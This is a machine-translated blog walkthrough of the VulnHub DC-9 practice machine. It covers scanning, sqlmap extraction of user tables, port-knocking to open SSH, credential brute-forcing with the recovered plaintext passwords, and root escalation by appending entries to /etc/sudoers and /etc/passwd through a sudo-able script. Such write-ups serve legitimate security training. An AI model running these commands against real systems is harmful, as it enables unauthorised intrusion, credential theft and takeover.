当前位置:网站首页>Vulnhub's dc9 target
Vulnhub's dc9 target
2022-06-29 07:45:00 【lainwith】
Introduce
series : DC( This series consists of 10 platform )
Release date :2019 year 12 month 29 Japan
difficulty : intermediate
Flag: obtain root Access and read unique Flag
Study :
- bp linkage xray scanning
- sql Inject
- Arbitrary file reading
- ssh Open door
- Raise the right
Target address :https://www.vulnhub.com/entry/dc-9,412/
Get tips from the shooting range :
- The target is more suitable for Virtualbox
information gathering
The host found
netdiscover The host found
about VulnHub For the target , appear “PCS Systemtechnik GmbH” It's the target .
netdiscover -i eth0 -r 192.168.1.0/24

Host information detection
Information detection :nmap -A -p- 192.168.1.127, It's open 22( Not sure ) and 80 port 
Visit website

The directory scan did not reveal any valuable information , The home page of the website is dotted , Found a pile of information . Try blasting websites 
Blasting website - Failure
- Get password book
cewl http://192.168.1.127/display.php -d 2 -w wordlist.txt
- Blast . Did not get the account password .

Missed scanning website
I don't see any problem for the time being , Try bp linkage xray Missed scanning .
- bp Set the top-level proxy

- xray Turn on passive scanning
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:6666 --html-output result.html
Found out sql Inject holes 
Or a different perspective :
sqlmap Inject
In the last article DC8 Manual has been introduced in sql Inject , Here is the introduction sqlmap Automatic injection :
- Confirm the existence of sql Inject holes :
sqlmap -u "http://192.168.1.127/results.php" --data "search=1"

- Get database name :
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" --dbs

- test staff Table names in the database :
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff --tables

- obtain user Fields in the table :
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users --columnssqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users --columns

- get data
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump

- md5 Collision :https://www.somd5.com/
Get the code :transorbital1
Empathy , You can get the contents of another database :
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump

Arbitrary file read vulnerability
Using the account :admin, password :transorbital1 After logging into the website , See the prompt at the bottom left corner of the website that the file does not exist 
Have a try , Do exist . however , What will happen next ?
Read the related articles on the Internet , It can only be said , I didn't think so .
adopt /proc/sched_debug Check it out. Linux The scheduling of tasks in the system 
Found out Knockd. It has been introduced in previous articles :https://www.yuque.com/u1881995/xwfvho/emg3of#fhrny
Read down knockd Configuration file for :/etc/knockd.conf, get ssh The password to open the door :7469,8475,9842
Turn on SSH port
apt install knockd
nmap -sV 192.168.1.127 -p 22

SSH Blast
web This is the end of the infiltration of , Next you need to try SSH Blast . Adopted above users Database see UserDetails Data present in the table . Now try to use this data to explode SSH
[22][ssh] host: 192.168.1.127 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.127 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.127 login: janitor password: Ilovepeepee
information gathering
Try to log in with different accounts , First, I found that there were many users on the target plane , Then I didn't find any interesting files , Consider using another account to continue logging in , See if you can see anything interesting .
When we use janitor When the user logs in , Found some new password information . It seems that secondary blasting is needed 
secondary SSH Blast
Re create a codebook , To save the above password , To speed up the blasting 
Get a new account password :
[22][ssh] host: 192.168.1.127 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.127 login: fredf password: B4-Tru3-001
When we use fredf I found sensitive information when I logged in as 
View its file contents , Checked ,/opt/devstuff/test.py It should be the target file . It is found that this is an additional script .
The way to raise the right 1
Go to /etc/sudoers Add content , So that users can root To execute a command . establish /dev/shm/sudoerAdd, The contents are as follows :
joeyt ALL=(ALL) ALL
And then execute
sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers
Finally, switch the identity to joeyt Right can be raised 
The way to raise the right 2
Add a new user to /etc/passwd, Then the newly added user logs in .
- adopt OpenSSL passwd Generate a new user hacker, The password for hack123
openssl passwd -1 -salt hack hack123

- Make it up hack User
/etc/passwdThe content of
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash
- With the help of
/opt/devstuff/dist/test/testRaise the right
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> dc9pass
sudo /opt/devstuff/dist/test/test dc9pass /etc/passwd

Reference resources
边栏推荐
- Interviewer: why does database connection consume resources? Where are the resources consumed?
- Gateway controller communication protocol
- C实战——高配版贪吃蛇游戏设计
- tf. count_ nonzero
- SAP UI5 初学 ( 一 )、简介
- 面试官:为什么数据库连接很消耗资源,资源都消耗在哪里?
- Schnuka: visual positioning system manufacturer what is a visual positioning system
- KingbbaseES V8R6集群维护案例之---集群之间数据迁移
- Kingbasees v8r6 cluster maintenance case - data migration between clusters
- How to talk about salary correctly in software test interview?
猜你喜欢

C实战——高配版贪吃蛇游戏设计

Schnuka: 3D machine vision inspection system 3D vision inspection application industry

Appium automation test foundation ADB common commands (III)

Matlab Simulink simulation and analysis of power grid sweep frequency

施努卡:什么是视觉定位系统 视觉定位系统的工作原理
![[industrial control old horse] detailed explanation of design principle of pattern fountain based on PLC](/img/28/690f9985f32675f5d50d196c293abe.jpg)
[industrial control old horse] detailed explanation of design principle of pattern fountain based on PLC
What is a Test Architect

ShapeShifter: Robust Physical Adversarial Attack on Faster R-CNN Object Detector

施努卡:3d视觉检测方案 3d视觉检测应用行业

tf. count_ nonzero
随机推荐
Blue Bridge Cup - minimum frame
Kingbasees v8r6 cluster maintenance case -- single instance data migration to cluster case
pycharm的虚拟环境如何共享到jupyter-lab
Cross domain data request using jsonp
101. symmetric binary tree (recursive and iterative methods)
Golang modifying the value of a structure slice
【工控老马】单片机与西门子S7-200通信原理详解
[translation] swarmed out. Design methods for building modern applications
蓝桥杯——最小框架
Cv:: mat and Base64 conversion (including picture compression and decompression)
Dump (cl\alv\tree\base================================cp|set\items\for\column) when expanding node or clicking toolbar button
Kyushu cloud helps Inner Mongolia's "counting from the east to the west" project to drive the smart new ecology of the surveying and mapping industry
道闸控制器通讯协议
358. K 距离间隔重排字符串 排序
[industrial control old horse] detailed explanation of the design scheme of the running lamp control system based on Siemens S7-200PLC
The table cannot be vacuumed because the cursor is open for a long time
Markdown skill tree (5): picture
九州云助力内蒙古“东数西算”工程,驱动测绘行业智慧新生态
Detailed explanation of communication principle between [industrial control old horse] single chip microcomputer and Siemens S7-200
[industrial control old horse] detailed explanation of design principle of pattern fountain based on PLC